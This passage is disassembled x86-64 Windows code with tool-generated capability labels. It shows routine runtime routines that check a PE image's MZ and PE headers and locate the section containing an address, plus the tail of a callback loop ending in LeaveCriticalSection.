mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004a46
test eax, eax
jne 0x140004a46
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004a1e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004c00
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004c23
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004c23
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004c24
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004c5e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004c55
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004c60
inc r8d
add rax, 0x28
jmp 0x140004c3c
xor eax, eax
ret

Function at 0x140004cd1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14000acb0]
mov r8, rcx
mov rcx, r9
call fcn.140004c00
test eax, eax
je 0x140004cfd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004c24
xor eax, eax
add rsp, 0x28
ret